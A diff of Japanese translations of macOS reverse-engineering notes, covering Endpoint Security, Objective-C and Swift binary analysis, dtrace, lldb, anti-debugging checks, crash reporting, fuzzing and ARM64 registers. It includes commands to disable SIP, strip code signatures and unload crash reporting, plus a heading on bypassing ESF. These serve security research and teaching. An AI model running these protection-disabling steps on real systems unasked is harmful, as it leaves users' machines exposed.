- **EndpointSecurityClientManager**: これはユーザースペースクライアントとの通信を管理し、どのクライアントが接続されていてイベント通知を受け取る必要があるかを追跡します。 - **EndpointSecurityClientManager**: これはユーザースペースクライアントとの通信を管理し、どのクライアントが接続されていてイベント通知を受け取る必要があるかを追跡します。
- **EndpointSecurityMessageManager**: これはメッセージとイベント通知をユーザースペースクライアントに送信します。 - **EndpointSecurityMessageManager**: これはメッセージとイベント通知をユーザースペースクライアントに送信します。
@ -55,9 +55,9 @@ Endpoint Securityフレームワークが監視できるイベントは以下に
Endpoint Security Extensions:**`libEndpointSecurity.dylib`**は、システム拡張がカーネルと通信するために使用するCライブラリです。このライブラリは、I/O Kit`IOKit`を使用してEndpoint Security KEXTと通信します。 Endpoint Security Extensions:**`libEndpointSecurity.dylib`**は、システム拡張がカーネルと通信するために使用するCライブラリです。このライブラリは、I/O Kit`IOKit`を使用してEndpoint Security KEXTと通信します。
**`endpointsecurityd`**は、特に初期ブートプロセス中にエンドポイントセキュリティシステム拡張を管理および起動するために関与する重要なシステムデーモンです。**`Info.plist`**ファイルに**`NSEndpointSecurityEarlyBoot`**としてマークされた**システム拡張のみ**がこの初期ブート処理を受けます。 **`endpointsecurityd`**は、特に初期ブートプロセス中にエンドポイントセキュリティシステム拡張を管理および起動するために関与する重要なシステムデーモンです。**`NSEndpointSecurityEarlyBoot`**でマークされた**のみ**のシステム拡張がこの初期ブート処理を受けます。
別のシステムデーモン、**`sysextd`**は、**システム拡張を検証し**、それらを適切なシステム場所に移動します。その後、関連するデーモンに拡張をロードするように要求します。**`SystemExtensions.framework`**は、システム拡張をアクティブ化および非アクティブ化する責任があります。 別のシステムデーモン、**`sysextd`**は、**システム拡張を検証し**、それらを適切なシステム位置に移動します。その後、関連するデーモンに拡張をロードするように要求します。**`SystemExtensions.framework`**は、システム拡張をアクティブ化および非アクティブ化する責任があります。
## Bypassing ESF ## Bypassing ESF

View File

@ -98,7 +98,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
- 高エントロピーをチェック - 高エントロピーをチェック
- 文字列をチェック(理解できる文字列がほとんどない場合、パックされています) - 文字列をチェック(理解できる文字列がほとんどない場合、パックされています)
- MacOS用のUPXパッカーは、"\_\_XHDR"というセクションを生成します - MacOS用のUPXパッカーは、"\_\_XHDR"というセクションを生成します
## 静的Objective-C分析 ## 静的Objective-C分析
@ -122,11 +122,11 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
この関数が期待するパラメータは次のとおりです: この関数が期待するパラメータは次のとおりです:
- 最初のパラメータ(**self**)は「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。より簡単に言えば、これはメソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドである場合、これはクラスオブジェクトのインスタンス全体になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたオブジェクトを指します。 - 最初のパラメータ(**self**)は「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。より簡単に言えば、これはメソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドである場合、これはクラスオブジェクトのインスタンス全体になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたインスタンスをオブジェクトとして指します。
- 2番目のパラメータ**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、より簡単に言えば、これは単に**メソッドの名前**です。 - 2番目のパラメータ**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、より簡単に言えば、これは単に**メソッドの名前**です。
- 残りのパラメータは、メソッドに必要な**値**opです。 - 残りのパラメータは、メソッドopによって必要とされる**値**です。
この情報を**ARM64で`lldb`を使って簡単に取得する方法**については、このページを参照してください: この情報を**ARM64で`lldb`を使って簡単に取得する方法**をこのページで確認してください:
{{#ref}} {{#ref}}
arm64-basic-assembly.md arm64-basic-assembly.md
@ -134,21 +134,21 @@ arm64-basic-assembly.md
x64: x64:
| **引数** | **レジスタ** | **(for) objc_msgSend** | | **引数** | **レジスタ** | **(for) objc_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | | ---------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** | | **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
| **2番目の引数** | **rsi** | **op: メソッドの名前** | | **2番目の引数** | **rsi** | **op: メソッドの名前** |
| **3番目の引数** | **rdx** | **メソッドへの1番目の引数** | | **3番目の引数** | **rdx** | **メソッドへの1番目の引数** |
| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** | | **4番目の引数** | **rcx** | **メソッドへの2番目の引数** |
| **5番目の引数** | **r8** | **メソッドへの3番目の引数** | | **5番目の引数** | **r8** | **メソッドへの3番目の引数** |
| **6番目の引数** | **r9** | **メソッドへの4番目の引数** | | **6番目の引数** | **r9** | **メソッドへの4番目の引数** |
| **7番目以降の引数** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの5番目以降の引数** | | **7番目以降の引数** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの5番目以降の引数** |
### ObjectiveCメタデータのダンプ ### ObjectiveCメタデータのダンプ
### Dynadump ### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump)は、Objective-Cバイナリをクラスダンプするためのツールです。GitHubではdylibsが指定されていますが、これは実行可能ファイルでも機能します。 [**Dynadump**](https://github.com/DerekSelander/dynadump)は、Objective-Cバイナリをクラスダンプするためのツールです。GitHubではdylibsが指定されていますが、実行可能ファイルでも機能します。
```bash ```bash
./dynadump dump /path/to/bin ./dynadump dump /path/to/bin
``` ```
@ -191,9 +191,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...] [...]
``` ```
これらのセクションに保存されている情報についてのさらなる情報は、[**このブログ投稿**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)で見つけることができます これらのセクションに保存されている[**情報についての詳細はこのブログ投稿で見つけることができます**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**たとえば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。 さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**えば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。
```bash ```bash
# Ghidra plugin # Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -204,10 +204,10 @@ swift demangle
## ダイナミック分析 ## ダイナミック分析
> [!WARNING] > [!WARNING]
> バイナリをデバッグするには、**SIPを無効にする必要があります**`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし`codesign --remove-signature <binary-path>`で**署名を削除する**か、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。 > バイナリをデバッグするには、**SIPを無効にする必要があります**`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーして**署名を削除**する必要があります(`codesign --remove-signature <binary-path>`)またはバイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
> [!WARNING] > [!WARNING]
> macOSで**システムバイナリをインスツルメント**(例えば`cloudconfigurationd`)するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。 > macOSで**システムバイナリをインストゥルメント**するには(例えば`cloudconfigurationd`、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
### APIs ### APIs
@ -218,7 +218,7 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
### Stackshot & microstackshots ### Stackshot & microstackshots
**Stackshotting**は、プロセスの状態をキャプチャするために使用される技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、および特定の時点でのシステムの動作を理解するために特に便利です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。 **Stackshotting**は、プロセスの状態をキャプチャするため技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に便利です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。
### Sysdiagnose ### Sysdiagnose
@ -232,33 +232,33 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
- `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23カーネル - `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23カーネル
- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます`compress``display``run` - `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます`compress``display``run`
### 統ログ ### 統ログ
MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。 MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。
さらに、いくつかのログには`<private>`タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**情報を**隠す**ために使用されます。ただし、**この情報を開示するための証明書をインストールすることが可能です**。 [**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。 さらに、いくつかのログには`<private>`タグが含まれており、**ユーザー**または**コンピュータ**の**識別可能**情報を**隠す**ために使用されます。ただし、この情報を開示するための**証明書をインストールすることが可能です**。 [**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
### Hopper ### Hopper
#### 左パネル #### 左パネル
Hopperの左パネルでは、バイナリのシンボル**Labels**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**を見ることができます。これらはすべての文字列ではなく、Mac-Oファイルのいくつかの部分_cstringや`objc_methname`など)で定義されたものです。 Hopperの左パネルでは、バイナリのシンボル**Labels**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**を見ることができます。これらはすべての文字列ではなく、Mac-Oファイルのいくつかの部分で定義されたもの_cstringや`objc_methname`など)です。
#### 中央パネル #### 中央パネル
中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生**逆アセンブル、**グラフ**、**デコンパイルされた**もの、**バイナリ**としてそれぞれのアイコンをクリックすることで表示できます: 中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生**逆アセンブル、**グラフ**、**デコンパイルされた**もの、**バイナリ**としてそれぞれのアイコンをクリックすることで表示できます:
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照**や**その名前を変更**することができます(これはデコンパイルされた擬似コードでは機能しません): コードオブジェクトを右クリックすると、そのオブジェクトへの**参照**や**参照元**を見ることができ、名前を変更することもできます(これはデコンパイルされた擬似コードでは機能しません):
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
さらに、**中央下部ではPythonコマンドを記述**できます さらに、**中央下部ではPythonコマンドを入力できます**
#### 右パネル #### 右パネル
右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**とこの関数が呼び出すすべての関数を見ることができる)、および**ローカル変数**の情報など、興味深い情報を見ることができます。 右パネルでは、**ナビゲーション履歴**(現在の状況に到達した方法を知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**とこの関数が呼び出すすべての関数を見ることができる)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
### dtrace ### dtrace
@ -269,7 +269,7 @@ DTraceは、各システムコールのプローブを作成するために**`dt
> [!TIP] > [!TIP]
> SIP保護を完全に無効にせずにDtraceを有効にするには、リカバリモードで次のコマンドを実行できます`csrutil enable --without dtrace` > SIP保護を完全に無効にせずにDtraceを有効にするには、リカバリモードで次のコマンドを実行できます`csrutil enable --without dtrace`
> >
> また、**`dtrace`**または**`dtruss`**バイナリを**コンパイルしたもの**を使用することもできます。 > また、**`dtrace`**または**`dtruss`**バイナリを**コンパイルしたもの**を使用することもできます。
dtraceの利用可能なプローブは次のコマンドで取得できます dtraceの利用可能なプローブは次のコマンドで取得できます
```bash ```bash
@ -343,7 +343,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
`latency``sc_usage``fs_usage`、および `trace` などのツールは内部でこれを使用します。 `latency``sc_usage``fs_usage`、および `trace` などのツールは内部でこれを使用します。
`kdebug` とインターフェースするには、`sysctl` が `kern.kdebug` 名前空間を介して使用され、使用する MIB は `sys/sysctl.h` にあり、関数は `bsd/kern/kdebug.c` に実装されています。 `kdebug` とインターフェースするには、`kern.kdebug` 名前空間を介して `sysctl`使用され、使用する MIB は `sys/sysctl.h` にあり、関数は `bsd/kern/kdebug.c` に実装されています。
カスタムクライアントで kdebug と対話するための一般的な手順は次のとおりです: カスタムクライアントで kdebug と対話するための一般的な手順は次のとおりです:
@ -361,7 +361,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
### ktrace ### ktrace
`ktrace_*` API は `libktrace.dylib` から来ており、これ `Kdebug` のラッパーです。クライアントは `ktrace_session_create``ktrace_events_[single/class]` を呼び出して特定のコードにコールバックを設定し、`ktrace_start` で開始できます。 `ktrace_*` API は `libktrace.dylib` から来ており、これらは `Kdebug` のラッパーです。クライアントは `ktrace_session_create``ktrace_events_[single/class]` を呼び出して特定のコードにコールバックを設定し、`ktrace_start` で開始できます。
これは **SIP が有効な状態でも使用できます。** これは **SIP が有効な状態でも使用できます。**
@ -387,7 +387,7 @@ Kperf には sysctl MIB テーブルもありますroot として)`sysct
### SpriteTree ### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) は、プロセス間の関係を印刷するツールです。\ [**SpriteTree**](https://themittenmac.com/tools/) は、プロセス間の関係を表示するツールです。\
**`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(このターミナルを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます: **`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(このターミナルを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます:
<figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
@ -420,7 +420,7 @@ fs_usage -w -f network curl #This tracks network actions
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a> ## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。 [**このブログ投稿**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。
### lldb ### lldb
@ -459,20 +459,20 @@ settings set target.x86-disassembly-flavor intel
- 一部のマルウェアは、MACアドレス00:50:56に基づいて**VMware**であるかどうかを**検出**することもできます。 - 一部のマルウェアは、MACアドレス00:50:56に基づいて**VMware**であるかどうかを**検出**することもできます。
- 簡単なコードを使用して、**プロセスがデバッグされているかどうかを確認することも可能です** - 簡単なコードを使用して、**プロセスがデバッグされているかどうかを確認することも可能です**
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //プロセスがデバッグされています }` - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //プロセスがデバッグされています }`
- **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを**防ぎます** - **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを防ぎます。
- **`sysctl`**または**`ptrace`**関数が**インポートされているかどうかを確認できます**(ただし、マルウェアは動的にインポートする可能性があります)。 - **`sysctl`**または**`ptrace`**関数が**インポートされているかどうかを確認できます**(ただし、マルウェアは動的にインポートする可能性があります)。
- この書き込みで指摘されているように、「[デバッグ防止技術の克服macOS ptraceバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\ - この書き込みで指摘されているように、「[デバッグ防止技術の克服macOS ptraceバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\
“_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグターゲットが**PT_DENY_ATTACH**を使用していることを示す兆候です_” “_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグターゲットが**PT_DENY_ATTACH**を使用していることを示す兆候です_”
## コアダンプ ## コアダンプ
コアダンプはの場合に作成されます: コアダンプは以下の場合に作成されます:
- `kern.coredump` sysctlが1に設定されているデフォルト - `kern.coredump` sysctlが1に設定されているデフォルト
- プロセスがsuid/sgidでない場合、または`kern.sugid_coredump`が1であるデフォルトは0 - プロセスがsuid/sgidでない場合、または`kern.sugid_coredump`が1であるデフォルトは0
- `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコアダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。 - `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコアダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。
これらの場合、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。 これらのケースでは、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。
## ファジング ## ファジング
@ -482,7 +482,7 @@ ReportCrashは**クラッシュしたプロセスを分析し、クラッシュ
ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\ ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\
デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。 デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。
クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを理解するのに役立ちます**。 クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを理解するのに役立ちます**。
```bash ```bash
#To disable crash reporting: #To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -536,11 +536,11 @@ cat procs.txt
```bash ```bash
lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit" lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit"
``` ```
### Fuzzers ### ファジングツール
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus) #### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
CLIツールで動作します。 CLIツールに対応
#### [Litefuzz](https://github.com/sec-tools/litefuzz) #### [Litefuzz](https://github.com/sec-tools/litefuzz)

View File

@ -19,7 +19,7 @@ ARMv8アーキテクチャでは、実行レベルは例外レベルEL
- これは最も特権の高いレベルで、セキュアブートや信頼された実行環境にしばしば使用されます。 - これは最も特権の高いレベルで、セキュアブートや信頼された実行環境にしばしば使用されます。
- EL3はセキュア状態と非セキュア状態セキュアブート、信頼されたOSなど間のアクセスを管理および制御できます。 - EL3はセキュア状態と非セキュア状態セキュアブート、信頼されたOSなど間のアクセスを管理および制御できます。
これらのレベルの使用により、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に隔離し、システムのセキュリティと堅牢性を向上させるのに役立ちます。 これらのレベルを使用することで、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に隔離し、システムのセキュリティと堅牢性を向上させるのに役立ちます。
## **レジスタ (ARM64v8)** ## **レジスタ (ARM64v8)**
@ -38,10 +38,10 @@ ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル
8. **`x30`**または**`lr`** - **リンクレジスタ**`BL`(リンク付き分岐)または`BLR`(レジスタへのリンク付き分岐)命令が実行されるときに**戻りアドレス**を保持し、**`pc`**値をこのレジスタに保存します。 8. **`x30`**または**`lr`** - **リンクレジスタ**`BL`(リンク付き分岐)または`BLR`(レジスタへのリンク付き分岐)命令が実行されるときに**戻りアドレス**を保持し、**`pc`**値をこのレジスタに保存します。
- 他のレジスタと同様に使用することもできます。 - 他のレジスタと同様に使用することもできます。
- 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存します。これがエピローグです(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr`を保存し、スペースを生成し、新しい`fp`を取得)し、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp``lr`を回復し、戻ります)。 - 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存します。これがエピローグです(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr`を保存し、スペースを生成し、新しい`fp`を取得)し、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp``lr`を回復し、戻ります)。
9. **`sp`** - **スタックポインタ**スタックのトップを追跡するために使用されます。 9. **`sp`** - **スタックポインタ**スタックのトップを追跡するために使用されます。
- **`sp`**値は常に少なくとも**クワッドワード**の**アライメント**を持する必要があります。さもなければアライメント例外が発生する可能性があります。 - **`sp`**値は常に少なくとも**クワッドワード**の**アライメント**を持する必要があります。さもなければアライメント例外が発生する可能性があります。
10. **`pc`** - **プログラムカウンタ**次の命令を指します。このレジスタは例外生成、例外戻り、および分岐を通じてのみ更新できます。このレジスタを読み取ることができる唯一の通常の命令は、**`pc`**アドレスを**`lr`**リンクレジスタに保存するリンク付き分岐命令BL、BLRです。 10. **`pc`** - **プログラムカウンタ**次の命令を指します。このレジスタは例外生成、例外戻り、および分岐を通じてのみ更新できます。このレジスタを読み取ることができる唯一の通常の命令は、**`pc`**アドレスを**`lr`**リンクレジスタに保存するリンク付き分岐命令BL、BLRです。
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます(例:**`subs XZR, Xn, #10`**、結果データをどこにも保存しません(**`xzr`**に)。 11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます(例:**`subs XZR, Xn, #10`**は結果のデータをどこにも保存しません(**`xzr`**に)。
**`Wn`**レジスタは**`Xn`**レジスタの**32ビット**バージョンです。 **`Wn`**レジスタは**`Xn`**レジスタの**32ビット**バージョンです。
@ -51,10 +51,10 @@ ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル
### システムレジスタ ### システムレジスタ
**数百のシステムレジスタ**、特別目的レジスタSPRとも呼ばれ、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\ **数百のシステムレジスタ**、または特殊目的レジスタSPR、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\
これらは専用の特命令**`mrs`**および**`msr`**を使用してのみ読み取ったり設定したりできます。 これらは専用の特命令**`mrs`**および**`msr`**を使用してのみ読み取ったり設定したりできます。
別なレジスタ**`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリング時によく見られます。`EL0`の接尾辞は、レジスタにアクセスできる**最小例外**を示しますこの場合、EL0は通常の例外特権レベルで、通常のプログラムが実行されます。\ レジスタ**`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリング時によく見られます。`EL0`の接尾辞は、レジスタにアクセスできる**最小例外**を示しますこの場合、EL0は通常の例外特権レベルで、通常のプログラムが実行されます。\
これらは通常、メモリの**スレッドローカルストレージ**領域の**ベースアドレス**を保存するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目のものはEL0から読み取ることができ、EL1から書き込むことができますカーネルのように これらは通常、メモリの**スレッドローカルストレージ**領域の**ベースアドレス**を保存するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目のものはEL0から読み取ることができ、EL1から書き込むことができますカーネルのように
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0をx0に読み取る` - `mrs x0, TPIDR_EL0 ; TPIDR_EL0をx0に読み取る`
@ -62,7 +62,7 @@ ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル
### **PSTATE** ### **PSTATE**
**PSTATE**は、オペレーティングシステムが可視化する**`SPSR_ELx`**特別レジスタに直列化された複数のプロセスコンポーネントを含み、Xはトリガーされた例外の**権限**レベルを示します(これにより、例外が終了したときにプロセス状態を回復できます)。\ **PSTATE**は、オペレーティングシステムが可視化できる**`SPSR_ELx`**特殊レジスタに直列化された複数のプロセスコンポーネントを含み、Xはトリガーされた例外の**権限**レベルを示します(これにより、例外が終了したときにプロセス状態を回復できます)。\
これらはアクセス可能なフィールドです: これらはアクセス可能なフィールドです:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
@ -82,11 +82,11 @@ ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル
- 現在の**レジスタ幅(`nRW`)フラグ**フラグが0の値を保持している場合、プログラムは再開時にAArch64実行状態で実行されます。 - 現在の**レジスタ幅(`nRW`)フラグ**フラグが0の値を保持している場合、プログラムは再開時にAArch64実行状態で実行されます。
- 現在の**例外レベル****`EL`**EL0で実行される通常のプログラムは値0を持ちます。 - 現在の**例外レベル****`EL`**EL0で実行される通常のプログラムは値0を持ちます。
- **単一ステップ**フラグ(**`SS`**):デバッガによって使用され、例外を通じて**`SPSR_ELx`**内でSSフラグを1に設定することによって単一ステップを実行します。プログラムは1ステップを実行し、単一ステップ例外を発生させます。 - **単一ステップ**フラグ(**`SS`**):デバッガによって単一ステップを実行するために使用され、例外を通じて**`SPSR_ELx`**内のSSフラグを1に設定します。プログラムは1ステップ実行し、単一ステップ例外を発生させます。
- **不正例外**状態フラグ(**`IL`**特権ソフトウェアが無効な例外レベル転送を実行したときにマークするために使用され、このフラグは1に設定され、プロセッサは不正状態例外をトリガーします。 - **不正例外**状態フラグ(**`IL`**特権ソフトウェアが無効な例外レベル転送を実行したときにマークするために使用され、このフラグは1に設定され、プロセッサは不正状態例外をトリガーします。
- **`DAIF`**フラグ:これらのフラグは、特権プログラムが特定の外部例外を選択的にマスクできるようにします。 - **`DAIF`**フラグ:これらのフラグは、特権プログラムが特定の外部例外を選択的にマスクできるようにします。
- **`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**IRQに応答するように設定します。Fは**高速割り込み要求**FIRに関連しています。 - **`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**IRQに応答するように設定します。Fは**高速割り込み要求**FIRに関連しています。
- **スタックポインタ選択**フラグ(**`SPS`**EL1以上で実行される特権プログラムは、独自のスタックポインタレジスタとユーザーモデルのスタックポインタ`SP_EL1``EL0`)の間でスワップできます。この切り替えは、**`SPSel`**特レジスタに書き込むことによって行われます。これはEL0からは行えません。 - **スタックポインタ選択**フラグ(**`SPS`**EL1以上で実行される特権プログラムは、独自のスタックポインタレジスタとユーザーモデルのスタックポインタ`SP_EL1``EL0`)の間でスワップできます。この切り替えは、**`SPSel`**特レジスタに書き込むことによって行われます。これはEL0からは行えません。
## **呼び出し規約 (ARM64v8)** ## **呼び出し規約 (ARM64v8)**
@ -102,14 +102,14 @@ Swiftには独自の**呼び出し規約**があり、[**https://github.com/appl
